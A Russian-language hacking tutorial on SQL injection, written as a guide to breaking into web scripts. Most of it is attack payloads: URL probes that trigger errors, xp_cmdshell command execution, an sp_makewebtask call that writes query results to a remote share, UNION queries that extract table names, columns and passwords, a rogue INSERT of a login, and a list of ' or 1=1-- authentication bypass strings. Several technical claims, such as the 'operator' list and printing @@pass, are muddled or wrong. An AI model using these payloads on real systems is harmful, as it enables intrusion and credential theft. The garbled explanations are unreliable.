Макаров Тихон

SQL базы используются во всeх серьезных скриптах с авторизацией (потому что использовать файлы считается глупым и неправильным). Обычно там хранят пароли пользователей. Итак, SQL-injection - один из самых частых в наше время способов взлома скриптов.

Что такое SQL-injection? Это отправка базе данных SQL команды на выполнение через web скрипт, расположенный на доступной рядовому пользователю веб-странице.

Для начала построим цепь, по которой связываются пользователь с базой данных: пользователь заходит на страницу, пишет свое имя и пароль, после нажатие на кнопки типа Submit страница проверяет правильность данных и отправляет данные веб серверу, веб сервер формирует SQL запрос и передает его базе данных (Веб сервер не проверяет, может ли ваш запрос взломать базу данных!), она проверяет запрос и возвращает результат скрипту, который выдает пользователю ответ. Таким образом есть только одно потенциально уязвимое место: передача данных скрипту. Итак, ищем скрипты, которые могут быть уязвимы. А уязвим может быть любой скрипт, который обращается к базе как post, так и get методом.

Почему SQL базу можно обмануть? Она ведь просто сопоставляет записи? Да, но в ней еще есть и другие команды, которые делают ее уязвимой. Вот самые частые в использовании операторы:

-- коментарий
+ пробел
' конец выражения
& и
,@ex  где ex - переменная добавляет новую переменную
?ex=1 присваивает переменной ex значение 1.
set создание еще одной переменной

Перед взломом необходимо узнать как можно больше о запросе, а именно:

1) все переменные
2) процедура, которой они передаются
3) какие-то параметры для этих переменных
4) наличие ошибок при лишних, других, недостатке символов

Например, введем www.example.ru/index.php?user=1&pass=2'mustdie. Тогда при неправильной обработке скриптом оно вызовет ошибку в Microsoft OLE DB Provaider for ODBC Drivers, что покажет, что возможность лишнего параметра не обрабатывается скриптом.

Попробуем написать www.example.ru/index.php?mustdie=123 и если скрипт сделан неправильно, то появится ошибка с надписью, что первым параметром должен быть другой (и он будет указан), так можно узнать все возможные параметры запроса. Если попробовать вводить другие символы (вышеприведенные, например), то может вывестись ошибка о том, в какой процедуре была вызвана ошибка.

Можно вводить разные данные, например:

www.example.ru/index.php?user=1&user=1
www.example.ru/index.php?user=1,@succes=true
www.example.ru/index.php?user=1+set+@succes=true

Если результат база выдает как переменную succes, то мы попытаемся создать такую переменную и дать ей значение true.

www.example.ru/index.php?user=1+print

что может вывести нам таблицу базы SQL. Можно попытаться вывести переменную pass для этого поля user:

www.example.ru/index.php?user=1+print+@@pass

Можно использовать команды, связанные с конкретными базами данных. Так, например, у MS SQL Server есть следующие команды:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данныйц момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида).

Зная команды приведем принцип работы одной из них. Введем в url:

www.example.ru/index.asp?user=1'; exec master..xp_cmdshell 'telnet 192.168.0.0' --

Если команда выполнится успешно, сервер должен соединиться через telnet с адресом 192.168.0.0 (правда, telnet может быть заблокирован с помощью firewall и тогда соединения не произойдет, но можно использовать команду ping для проверки работы уязвимости).

Может понадобиться (хотя я с такими случаями не встречался) запихнуть текст подкоманды в html:

'; EXEC master..sp_makewebtask "192.168.0.0sharedocsRabotaet.ura",
"SELECT * FROM INFORMATION_SCHEMA.TABLES"

Это создаст на указанном компьютере данный файл благодаря sp_makewebtask.

С командой exec мы разобрались, теперь посмотрим команды Union и Insert. Команда insert позволяет добавлять данные в таблицу. Синтаксис команды:

INSERT INTO table (value1; value2; value3; etc.) 
VALUES (value1; value2; value3; etc.)

Таким образом можно написать

www.example.ru/index.asp?user=1 INSERT 
INTO 'logins' ('number', 'login', 'pass') 
VALUES (1,'makarov','password')-- 

Теперь перейдем к команде union. Синтаксис команды Union таков:

UNION ALL SELECT field FROM table WHERE condition

и служит она для извлечения столбцов из таблицы. C помощью union можно, например, узнать имена таблиц SQL базы. Введем

www.example.ru/index.asp?user=1 UNION SELECT 
TOP 10 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

после чего в ошибке мы увидим имя таблиц. Потом можно создать такой же запрос с условием

WHERE TABLE_NAME NOT IN ('table_we_now')--

Зная имена таблиц, можно узнать из них имена столбцов:

www.example.ru/index.asp?user=1 UNION SELECT 
TOP 10 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME='password'--

что выдаст имя колонок. Теперь зная имена столбцов и таблиц можно узнать строки из них:

www.example.ru/index.asp?user=1 UNION SELECT 
TOP 1 login FROM login-- 

а зная все это можно получить значения для этих строк:

www.example.ru/index.asp?user=1 UNION SELECT 
TOP 1 password FROM logins where login='makarov'--

Вводя поле аутентификации можно так же попытаться выполнить "хитрые" команды и попытаться обойти систему авторизации. Введем в поле логин: Admin (или что-то подобное), а в поле пароль - password'or 1=1--

Если все получится, SQL сервер примет поле пароль за две составляющих, причем достаточно чтобы выполнялась хотя бы одна из них: слово password совпадает с полем указанным в базе данных для пользователя Admin или 1=1. Поскольку второе условие всегда true то мы должны пройти авторизацию.

Возможными комбинациями вместо ' or 1=1-- могут быть:

" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a 
и пр.

Разбирая исходные коды скрипта, найти уязвимость достаточно просто. Достаточно встретить строки подобно

user = request("user_id")
sqlstr="SELECT * FROM product WHERE PCategory='" & user & "'"
set rs=conn.execute(sqlstr)

После чего найти место, где фильтруются символы для переменной user и определить слабое звено.